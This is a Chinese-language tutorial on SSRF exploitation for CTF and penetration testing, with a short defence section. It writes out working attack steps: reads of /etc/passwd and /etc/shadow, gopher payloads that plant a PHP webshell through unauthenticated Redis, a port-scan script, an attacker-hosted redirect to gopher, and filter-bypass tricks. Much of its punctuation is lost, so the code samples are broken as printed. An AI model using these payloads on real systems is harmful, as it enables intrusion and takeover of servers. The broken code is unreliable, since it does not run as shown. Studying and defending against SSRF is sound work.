
1. 从“请求伪造”到“内网漫游”SSRF漏洞的本质与实战价值如果你是一名Web安全方向的CTF选手或者正在从事渗透测试、安全研究那么“SSRF”Server-Side Request Forgery服务端请求伪造这个词你一定不陌生。它不像SQL注入那样直接“拖库”也不像XSS那样直观地弹窗但它的威力却常常被低估。简单来说SSRF就是“借刀杀人”——利用一个存在缺陷的服务器应用让它代替你去发起一个本不该由它发起的网络请求。这个请求的目标往往是攻击者无法直接触及的“禁区”比如服务器本地的127.0.0.1或是公司内网中那些不对外暴露的OA系统、数据库、Redis服务。为什么SSRF在CTF和实战中如此重要因为它打通了从外网到内网的“任督二脉”。很多CTF题目尤其是Web类最终的Flag往往藏在内网某个端口的服务里。题目给你的只是一个对外的Web界面真正的战场在它的背后。SSRF就是你手中的“穿甲弹”让你能够绕过边界防护直接对内网资产进行探测、识别甚至攻击。从读取本地敏感文件file:///etc/passwd到扫描内网端口识别服务再到利用特定协议如Gopher、Dict攻击内网Redis、FastCGI等服务SSRF的攻击面非常广。理解并掌握它意味着你拥有了从单一漏洞点进行横向渗透和深度利用的能力这正是高水平CTF竞赛和真实渗透测试的核心考察点之一。2. SSRF漏洞的核心原理与常见触发场景拆解要利用一个漏洞首先得知道它从哪来。SSRF漏洞的根源在于服务器应用程序在代表用户发起外部请求时未能对用户提供的目标URL进行充分、有效的验证和过滤。2.1 漏洞产生的核心逻辑想象一下这个场景一个网站提供了一个“网络图片转存”功能你输入一个图片URL它帮你下载并保存到它的服务器上。后端代码可能长这样?php if (isset($_GET[url])) { $imageData file_get_contents($_GET[url]); // 关键危险函数 file_put_contents(/tmp/.rand()..jpg, $imageData); echo 图片保存成功; } ?这段代码的逻辑很清晰获取用户传入的url参数直接用file_get_contents()函数去获取内容。问题就在于这个函数太“听话”了。它不仅能访问http://、https://还能访问file://、dict://、gopher://甚至ldap://等协议。如果攻击者传入file:///etc/passwd服务器就会乖乖地把本地的密码文件内容读出来并返回。这就是最基础的SSRF。2.2 常见的漏洞触发点攻击面在实际的应用程序和CTF题目中SSRF可能隐藏在以下功能背后远程资源加载这是最典型的场景。头像/图片上传允许用户通过URL设置头像。数据导入/导出从指定URL导入RSS订阅、OPML文件、商品数据等。网页抓取/预览提供网页快照、链接预览功能。文档处理服务器端转换或处理来自URL的PDF、Word、图片文件如ImageMagick、FFmpeg相关功能可能衍生出更复杂的命令注入。内部服务集成Webhook测试或回调允许用户自定义Webhook地址进行测试。API代理或中转服务器作为中间人转发请求到另一个内部API。数据库功能某些数据库如MongoDB、Elasticsearch的REST API或内置功能可能接受外部URL作为参数。社交功能分享预览获取分享链接的标题和缩略图。邮件客户端收取外部邮箱邮件POP3/IMAP/SMTP如果服务器支持通过URL配置邮箱也可能存在风险。注意并非所有能发起外部请求的功能都有SSRF风险。关键判断点在于用户是否能完全或部分控制请求的目标协议、主机、端口、路径。如果目标地址是固定的或经过严格白名单校验风险就低。2.3 后端常用的危险函数与类不同的编程语言有不同的“危险函数”它们是SSRF的“发射井”PHPfile_get_contents()最常用支持多种协议包装器。fsockopen()底层socket操作可构造任意TCP数据包。curl_exec()功能强大的cURL库但配置不当如CURLOPT_FOLLOWLOCATION开启且未校验会导致SSRF。SoapClient在特定配置下CRLF注入可导致SSRF。JavaURLConnection(java.net.URL,java.net.HttpURLConnection)HttpClient(Apache Commons, OkHttp)ImageIO.read(new URL(url))常用于图片处理。Pythonurllib.request.urlopen()(Python 3)requests.get()/post()如果未对URL进行校验。httplib/http.clientNode.jshttp.get(),https.get()request库已弃用但仍有大量使用axios、node-fetch等第三方库。实操心得在代码审计时可以全局搜索这些函数名并追踪其参数来源。重点关注参数是否用户可控以及之前是否有完整的URL解析、协议白名单、IP黑名单等过滤逻辑。3. 从探测到利用SSRF攻击链的完整实操解析发现一个可能存在SSRF的参数只是第一步。如何将它转化为实实在在的漏洞利用需要一套清晰的攻击流程。3.1 第一步漏洞确认与回显判断当你找到一个像?url、?image、?path这样的参数时首先需要确认它是否真的存在SSRF以及服务器返回了什么信息。基本探测尝试访问一个你控制的公网服务器如VPS并在上面启动一个HTTP服务python3 -m http.server 80或使用nc -lvp 80监听。然后提交http://your-vps-ip。查看你的服务器日志如果收到了来自目标服务器的请求恭喜你SSRF存在。尝试访问http://127.0.0.1:80或http://localhost。观察响应有回显服务器将请求的结果如端口Banner、页面内容、错误信息直接输出到前端。这是最理想的情况信息获取直接。无回显Blind SSRF服务器发起了请求但不会将响应内容返回给用户。你只能通过侧信道如时间延迟、DNS解析记录、外带日志来判断请求是否被执行。这增加了利用难度。协议探测尝试file:///etc/passwdLinux或file:///C:/Windows/win.iniWindows。如果返回了文件内容说明file协议未被禁用。尝试dict://127.0.0.1:6379/info探测Redis。如果返回Redis的版本信息说明dict协议可用且内网有Redis。尝试gopher://127.0.0.1:6379/_...构造Redis命令。Gopher协议功能强大可以构造任意TCP数据包是攻击内网无认证服务的利器。3.2 第二步信息收集与内网探测确认漏洞后下一步就是“摸清家底”。端口扫描原理利用SSRF让目标服务器依次访问其自身的127.0.0.1:PORT或内网IP段如192.168.0.1:PORT,172.16.0.1:PORT,10.0.0.1:PORT。方法编写一个简单的脚本自动化提交请求。通过分析服务器的响应差异来判断端口状态连接成功可能返回服务的Banner信息如HTTP服务的HTTP/1.1 200 OKRedis的-ERR unknown commandMySQL的Bad handshake或一个固定的错误页面。连接被拒绝通常伴随快速返回的错误如Connection refused。连接超时端口可能被防火墙丢弃或者服务不存在。技巧关注响应时间。开放的端口建立TCP连接后服务可能会等待数据导致响应时间稍长关闭的端口会立刻返回“拒绝连接”响应很快。指纹识别发现开放端口后进一步访问其默认路径识别服务。例如http://127.0.0.1:8080/- Tomcat管理页面http://127.0.0.1:80/phpinfo.php- 是否存在PHP信息泄露http://127.0.0.1:9200/- Elasticsearch对于file协议可以尝试读取常见的配置文件/etc/passwd,/etc/shadow需高权限/proc/self/cmdline查看当前进程信息/proc/net/arp查看内网其他主机C:\Windows\System32\drivers\etc\hostsWindows主机文件3.3 第三步协议利用与深度攻击这是SSRF最精彩的部分利用特定协议与内网服务交互实现从信息泄露到命令执行的飞跃。利用file协议读取敏感文件 这是最直接的信息获取方式。除了系统文件还可以读取Web应用的源码如index.php、配置文件如config.php、web.config、.env从中寻找数据库密码、API密钥、其他内网地址等。利用dict协议探测与简单交互dict协议通常用于字典服务器但它会向目标端口发起一个TCP连接并发送指令。这可以用来快速获取服务的Banner信息。与Redis、Memcached等文本协议服务进行简单交互。例如向Redis发送INFO命令dict://127.0.0.1:6379/INFO。利用gopher协议进行高级攻击以Redis为例Gopher协议是一个古老的协议但它可以发送任意格式的TCP数据包是SSRF中的“瑞士军刀”。一个经典的攻击链是SSRF Gopher 未授权Redis - 写入Webshell。前提目标服务器内网存在一个无需认证的Redis服务默认端口6379并且你知道Web目录的绝对路径。攻击步骤通过SSRF和gopher协议向Redis发送命令将一段PHP代码写入Web目录下的一个文件如shell.php。命令示例原始Redis协议格式flushall set shell ?php eval($_POST[cmd]);? config set dir /var/www/html config set dbfilename shell.php save需要将这些命令转换成符合Redis协议格式RESP协议的字节流然后进行URL编码最后通过gopher发送。通常使用脚本完成转换。成功后访问http://target.com/shell.php?cmdwhoami即可执行系统命令。工具可以使用redis-ssrf、Gopherus等工具自动化生成攻击Payload。攻击其他内网Web应用 如果通过端口扫描发现了内网的Struts2、ThinkPHP、Weblogic等存在已知漏洞的应用可以直接通过SSRF构造HTTP请求去攻击它们。例如利用Struts2的S2-045漏洞执行命令。3.4 第四步绕过常见的防御与过滤机制实战和CTF中开发者不会坐以待毙他们会设置各种过滤规则。这时就需要“绕过”技巧。IP地址格式绕过十进制整数2130706433等价于127.0.0.1。转换公式(第一段 * 256^3) (第二段 * 256^2) (第三段 * 256) 第四段。十六进制整数0x7f000001等价于127.0.0.1。八进制格式0177.0.0.01Linux下curl支持。省略格式127.1等价于127.0.0.1。特殊域名127.0.0.1.xip.io解析为127.0.0.1。xip.io是一个泛域名解析服务。URL解析差异绕过利用符号http://example.com127.0.0.1。某些解析库如curl会将其中的example.com视为用户名127.0.0.1才是真正的主机。而一些简单的正则过滤可能只匹配://和第一个/之间的内容误以为是example.com。利用#号http://127.0.0.1#evil.com。#是片段标识符部分解析器会忽略#之后的内容实际请求发往127.0.0.1。利用DNS重绑定这是一个高级技巧。攻击者控制一个域名其DNS记录TTL极短第一次解析返回一个合法的外网IP通过过滤第二次解析返回127.0.0.1。服务器在第一次解析后可能缓存了IP但某些应用会在发起请求前再次解析导致请求发往本地。协议名混淆绕过大小写混合FiLe:///etc/passwdHtTp://127.0.0.1。嵌套协议在某些特定场景下如PHP的curl可能支持curl://、php://等包装器可以尝试组合。利用重定向302跳转 如果目标服务器严格限制了协议和IP但允许访问任意外网URL可以搭建一个恶意重定向服务。在你的VPS上部署一个简单的PHP脚本?php header(Location: gopher://127.0.0.1:6379/_...); ?然后向目标提交http://your-vps-ip/redirect.php。目标服务器会先请求你的VPS收到302跳转响应后再按照Location头去请求内网的gopher服务。关键在于部分服务端请求库尤其是旧版本或配置不当的curl在跟随重定向时可能会忽略对重定向后URL的二次校验。注意事项绕过技巧高度依赖于后端使用的具体库libcurl版本、urllib版本、自定义解析函数及其配置。没有通用的银弹需要结合错误信息、时间差等进行Fuzz测试。4. CTF实战经典SSRF题目思路与手把手解题理论讲得再多不如一道实战题来得透彻。下面我们模拟一个经典的CTF SSRF题目环境一步步拆解解题思路。4.1 题目场景模拟假设我们拿到一个CTF靶场地址http://ctf.example.com:8080/。页面只有一个简单的功能“请输入一个图片URL我们将为您展示它”。前端代码form action/show_image methodGET input typetext nameurl placeholderhttp://example.com/image.jpg input typesubmit valueShow Image /form后端逻辑推测接收url参数使用类似file_get_contents()的函数获取图片并显示在页面上。4.2 解题步骤实录步骤1基础探测与漏洞确认我们输入一个公网图片地址http://via.placeholder.com/150正常显示图片。尝试SSRF经典测试Payloadfile:///etc/passwd。结果A页面返回了/etc/passwd文件的内容。漏洞确认且file协议可用。结果B页面返回“无效URL”或空白。可能被过滤。尝试访问本地HTTP服务http://127.0.0.1/。结果页面返回了“Apache2 Ubuntu Default Page”或类似内容。说明服务器本地80端口有Web服务且SSRF存在有回显。步骤2内网端口扫描与信息收集既然有回显我们可以编写一个简单的Python脚本进行内网端口扫描。目标是127.0.0.1本机和常见的私有网段如192.168.0.0/24、172.16.0.0/12、10.0.0.0/8。但CTF题目通常简化环境重点在127.0.0.1。import requests import sys target http://ctf.example.com:8080/show_image common_ports [21, 22, 23, 25, 53, 80, 81, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723, 3306, 3389, 5900, 6379, 8080, 8443, 9000] for port in common_ports: url fhttp://127.0.0.1:{port} params {url: url} try: resp requests.get(target, paramsparams, timeout3) # 根据响应内容判断 if len(resp.text) 100: # 假设有内容的响应长度较大 print(f[] Port {port} might be OPEN. Response length: {len(resp.text)}) # 可以打印前500字符看看Banner print(resp.text[:500]) except requests.exceptions.Timeout: print(f[-] Port {port} timed out.) except Exception as e: print(f[-] Port {port} error: {e})运行脚本后我们发现除了80端口6379端口也有较长的响应返回了-ERR unknown command。这极有可能是Redis服务因为Redis默认端口是6379且当我们发送一个非Redis协议的命令如HTTP请求时它会返回这个错误。步骤3利用Gopher协议攻击Redis目标通过SSRF利用Gopher协议向本地的Redis服务127.0.0.1:6379写入Webshell。确定Web目录首先需要知道网站根目录在哪里。我们可以通过读取Web服务器的配置文件或尝试常见路径来猜测。尝试file:///etc/apache2/sites-available/000-default.conf或file:///etc/nginx/sites-available/default。尝试file:///var/www/html/index.php。如果成功读取到PHP源码说明目录是/var/www/html/。构造Redis攻击Payload我们需要向Redis发送一系列命令将一句话木马写入Web目录。原始命令序列flushall set shell ?php system($_GET[cmd]);? config set dir /var/www/html config set dbfilename shell.php save需要将其转换为Redis的RESP协议格式并进行URL编码。这是一个繁琐的过程我们可以使用现成工具Gopherus。python gopherus.py --exploit redis工具会交互式地询问Web路径和Payload然后生成一个编码后的Gopher URL。发起SSRF攻击将生成的Gopher URL作为url参数提交。http://ctf.example.com:8080/show_image?urlgopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0Ashell%0D%0A%3...很长一串编码如果成功Redis会将数据保存到/var/www/html/shell.php。验证与获取Flag访问http://ctf.example.com:8080/shell.php?cmdls -la查看是否能够执行命令。通常Flag文件名为flag、flag.txt、flag.php等或者藏在根目录/、/home/、/var/www/下。使用命令find / -name *flag* 2/dev/null或cat /flag来读取Flag。4.3 另一种常见题型绕过过滤与协议限制很多CTF题目会增加过滤例如黑名单过滤了127.0.0.1、localhost、file、gopher、dict等关键词。只允许http://和https://协议。解析URL后检查host是否属于内网IP段。解题思路利用重定向这是最常用的绕过方式。在自己的服务器上设置一个302跳转跳转到被禁止的协议或IP。如前文所述关键在于后端是否对重定向目标做二次校验。利用IP格式绕过使用2130706433、0x7f000001、127.1、127.0.0.1.xip.io等变体。利用URL解析歧义尝试http://foo127.0.0.1:80evil.com/或http://127.0.0.1:80#.evil.com。不同的URL解析库如PHP的parse_url和Python的urllib.parse在处理这些特殊字符时行为不一致可能导致过滤被绕过。攻击其他内网主机如果过滤了127.0.0.1但没过滤整个192.168网段可以扫描192.168.0.2、192.168.1.1等其他内网IP也许Flag就在另一台机器上。5. 防御策略与CTF出题人视角理解了攻击才能更好地防御。从开发者和CTF出题人的角度看如何构建一个“安全”的SSRF功能或者如何设计一道有挑战性的SSRF题目5.1 开发者防御指南统一网络层控制使用白名单严格限制应用能访问的域名或IP地址列表。这是最有效的方法。禁用不必要的URL协议只允许http和https。在PHP中可以使用stream_get_wrappers()检查并禁用file、gopher、dict等包装器。使用内网DNS确保内部服务使用域名访问并且该域名在公网无法解析。应用层输入校验解析与校验使用标准的URL解析库如url.parsein Node.js,urllib.parsein Python获取host然后进行校验。检查IP范围解析出host后解析为IP地址判断是否属于内网保留地址127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,169.254.0.0/16,::1/128等。避免递归请求禁止服务器响应中的Location头指向内网地址防止重定向攻击。最小化响应信息统一错误页面无论目标服务返回连接错误、超时还是拒绝都返回统一的、信息模糊的错误提示如“图片加载失败”避免攻击者通过差异进行端口扫描。使用安全的替代方案如果功能是下载用户指定的图片可以考虑先下载到临时目录然后通过图像处理库如GD、PIL检查文件头确认是有效图片后再进行后续操作。非图片文件直接丢弃。5.2 CTF出题思路与考点设计作为CTF出题人SSRF题目可以设计得非常巧妙基础考察点协议利用直接使用file协议读Flag。考点是识别SSRF和知道file协议。内网探测Flag在内网某台机器的Web服务根目录下。考点是端口扫描和基本的网络知识内网IP段。进阶考察点协议组合与绕过禁用file和gopher但允许http。需要选手利用http协议访问一个内网服务如Redis的HTTP接口或者利用重定向漏洞。DNS重绑定题目后端会解析域名并检查IP但存在DNS重绑定漏洞。考点是对DNS重绑定原理的理解和利用。非HTTP协议攻击要求选手利用gopher或dict协议攻击内网的FastCGI、Memcached等服务获取Shell。考点是对这些协议和对应服务漏洞的熟悉程度。综合考察点SSRF XXESSRF点用于触发一个XXE漏洞通过XXE进行内网探测或文件读取。SSRF CRLF在某个HTTP头注入点利用CRLF注入构造一个内部请求SSRF实现请求走私或缓存投毒。Blind SSRF无回显的SSRF要求选手通过DNS外带或时间盲注的方式获取信息。例如让服务器访问http://your-subdomain.ceye.io通过DNS查询记录来判断端口开放状态。5.3 实战与CTF中的工具推荐探测与扫描Burp Suite Collaborator用于检测Blind SSRF的绝佳工具它能提供临时的DNS和HTTP接收地址自动记录任何到达该地址的请求。SSRFmap一个自动化的SSRF测试工具内置多种Payload和绕过技巧。Gopherus专门用于生成攻击Redis、MySQL、FastCGI等服务的Gopher Payload。编码与转换手动构造Gopher Payload时需要理解Redis的RESP协议。可以先用nc本地测试命令然后用Python脚本进行编码转换。在线工具如urlencode.org、cyberchef对于快速编解码很有帮助。内网发现一旦通过SSRF进入内网可以尝试将内网流量代理出来使用reGeorg、EarthWorm等工具建立隧道然后用nmap、gobuster等工具进行更深入的内网渗透。这在实战中更为常见CTF中由于环境限制较少用到。SSRF是一个看似简单却深不见底的漏洞。它考验的不仅是漏洞利用的技巧更是对网络协议、服务交互和系统边界的深刻理解。从简单的文件读取到复杂的内网漫游每一次对SSRF的深入探索都会让你对Web安全的整体视角提升一个层次。在CTF中解决它能带来智力上的快感在实战中利用它则可能成为突破坚固防线的关键一击。